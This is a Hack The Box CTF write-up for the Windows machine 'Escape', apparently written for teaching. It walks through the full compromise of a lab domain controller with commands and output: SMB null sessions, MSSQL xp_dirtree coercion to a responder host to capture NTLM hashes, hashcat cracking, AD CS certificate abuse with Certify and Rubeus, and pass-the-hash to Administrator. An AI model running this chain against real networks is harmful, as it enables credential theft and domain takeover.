Hack The Box: Escape Writeup
Escape is a Windows machine on Hack The Box. An SMB share on the server leaked user-level credentials to the MSSQL Server of the machine. By tricking the SQL server to connect back to the attacker machine and submitting the NTLM hash of the service account, access to the service account was gained. A log backup contained the password to another local user. Finally, privileges were escalated from the user account to the Administrator by abusing a weakness in Active Directory Certificate Services (AD CS).
Walkthrough
An initial network scan of the system identified standard Windows ports, including TCP port 445 for SMB network file sharing and MSSQL on port 1443:
$ sudo nmap -sC -sV 10.10.11.202
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for escape.htb (10.10.11.202)
<SNIP>
PORT STATE SERVICE VERSION
<SNIP>
445/tcp open microsoft-ds?
<SNIP>
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.202:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
<SNIP>
Next, the hostname was added to the hosts file. Also, it was possible to list the available shares using smbclient’s null session. The Public share stood out:
$ echo "10.10.11.202 escape.htb" | sudo tee -a /etc/hosts
$ smbclient -L escape.htb -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
<SNIP>
During the investigation of the “Public” share, a PDF document titled “SQL Server Procedures” was discovered and downloaded using the null session:
$ smbclient -N \\\\escape.htb\\Public
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 19 12:51:25 2022
.. D 0 Sat Nov 19 12:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 14:39:43 2022 5184255 blocks of size 4096. 1449979 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (136.3 KiloBytes/sec) (average 136.3 KiloBytes/sec)
The PDF document contained information about a temporary MSSQL server on the Domain Controller. It suggested to log in via Windows authentication but also provided guest credentials to access without a domain account:
The credentials were used to gain an “MSSQL shell” using impacket-mssqlclient:
$ impacket-mssqlclient PublicUser:Guest<SNIP>@escape.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
At this point, the MSSQL server was enumerated for insecure configurations. In fact, the server could be tricked into making a CIFS connection to the attacker’s host and leaking the Net-NTLMv2 hash of the service user running it. This was possible using the xp_dirtree command. The stored procedure is designed to list directory contents. When given a CIFS path, the server made an connection to the specified host, trying to list the contents of the share.
This was abused using responder, a tool to capture CIFS request with fake shares. On the attacking host, a responder instance was created:
$ sudo responder -I tun0
<SNIP>
[+] Listening for events...
<SNIP>
In the MSSQL shell, the xp_dirtree procedure was invoked with the responder host as an argument:
SQL> EXEC xp_dirtree '\\10.10.16.3\data', 1, 1
The MSSQL server connected back to the attacking machine and leaked the Net-NTLMv2 hash of the service account:
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:12f8104<SNIP>:69571984<SNIP>:01010000<SNIP>
Next, the password corresponding to the hash was identified by enumerating the rockyou.txt list with hashcat:
$ hashcat -m 5600 hash.txt /opt/rockyou.txt
sql_svc::sequel:12f8104<SNIP>:69571984<SNIP>:01010000<SNIP>:REGG<SNIP>
The credentials worked, and it was possible to authenticate to the system as sql_svc over evil-winrm:
$ evil-winrm -i escape.htb -u 'sequel\sql_svc' -p'REGG<SNIP>'
*Evil-WinRM* PS C:\Users\sql_svc\Documents>
While enumerating the machine and looking for privilege escalation angles, I discovered C:\SQLServer, a root-level directory on the C-drive. That was odd. Digging deeper into the directory revealed a log file that was saved as a backup to C:\SQLServer\Logs\ERRORLOG.BAK.
Using evil-winrm, it was a piece of cake to download the file to the attacking system for examination:
*Evil-WinRM* PS C:\SQLServer\Logs> download C:\SQLServer\Logs\ERRORLOG.bak
Info: Downloading C:\SQLServer\Logs\ERRORLOG.bak to ERRORLOG.bak
Info: Download successful!
Browsing through the log files shows interesting log lines of failed authentication attempts:
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'Nuclear<SNIP>'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
As the lines read, the user Ryan.Cooper failed to authenticate. But then in the second failed attempt, only seconds after the first one, a combination of words and digits was tried as the username. This suspiciously looked like a password.
Simply trying to login as Ryan.Cooper and providing the second username as their password worked and provided an evil-winrm shell:
$ evil-winrm -i escape.htb -u 'sequel\Ryan.Cooper' -p'Nuclear<SNIP>'
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>
The privilege escalation from the user account to the Administrator involved Active Directory Certtificate Services (AD CS). AD CS is a server role, that manages the public key infrastructure and certificates for a Windows environment. One particularly good resource on this topic is the whitepaper by Will Schroeder and Lee Christensen. They describe pitfalls and misconfigurations of the AD CS and outline defense mechanisms.
In case of this box on Hack The Box, I used their tool, Certify, to enumerate the certificate templates, discovered a vulnerable template and generated a certificate from it.
I got a compiled Certify binary and uploaded it to the server using evil-winrm:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Certify.exe
Certify was then used to enumerate the server for vulnerable certificate templates:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> ./Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
<SNIP>
[!] Vulnerable Certificates Templates :
CA Name : dc.sequel.htb\sequel-DC-CA
Template Name : UserAuthentication
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Object Control Permissions
Owner : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
WriteOwner Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteDacl Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteProperty Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
<SNIP>
Certify discovered one vulnerable template that could be used for privilege escalation because regular “Domain Users” have enrollment rights but can specify the certificate subject when they enroll (ENROLLEE_SUPPLIES_SUBJECT). This means, any domain user can enroll and get a certificate as Domain Administrator.
The first step to abuse this misconfiguration is to request such certificate:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator
<SNIP>
[*] Action: Request a Certificates
[*] Current user context : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.
[*] Template : UserAuthentication
[*] Subject : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName : Administrator
[*] Certificate Authority : dc.sequel.htb\sequel-DC-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 10
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl1VeacqVmL4vwRD/rpmvEi3O/P4suiGRrChd4ZlIOnKZuw+b
<SNIP>
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAApBQVASOwpB9AAAAAAACjANBgkqhkiG9w0BAQsF
<SNIP>
-----END CERTIFICATE-----
<SNIP>
Certify successfully requested the certificate from the AD CS and output the base64 encoded certificate and its private key. The output was copied, and then combined into a .pfx file with openssl on the attacking machine:
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
With that in place, Rubeus was used to get a Kerberos ticket-granting ticket (TGT) on the server. First, a Rubeus binary and the certificate were uploaded. Then, Rubeus was used to request a TGT as Administrator. By appending /getcredentials, Rubeus does even retrieve the NTML hash:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Rubeus.exe
<SNIP>
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload cert.pfx
<SNIP>
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> ./Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
[*] Using domain controller: fe80::c4f9:cd26:7711:24db%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
<SNIP>
ServiceName : krbtgt/sequel.htb
ServiceRealm : SEQUEL.HTB
UserName : Administrator
UserRealm : SEQUEL.HTB
StartTime : 6/23/2023 9:41:53 AM
EndTime : 6/23/2023 7:41:53 PM
RenewTill : 6/30/2023 9:41:53 AM
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : rc4_hmac
Base64(key) : eDRqeomA5BngfAYv4naWcA==
ASREP (key) : F69809B8753177838E2CC53D77AB1D36
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A52F78E4C7<SNIP>
The very last line shows the Administrator’s NTLM hash, which was used in a Pass-The-Hash authentication method. This approach allowed to login as the Administrator with evil-winrm:
$ evil-winrm -i escape.htb -u'Administrator' -H'A52F78E4C7<SNIP>'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
The privilege escalation to Administrator concludes this box.
Thank you for reading, and have a fun time with CTFs.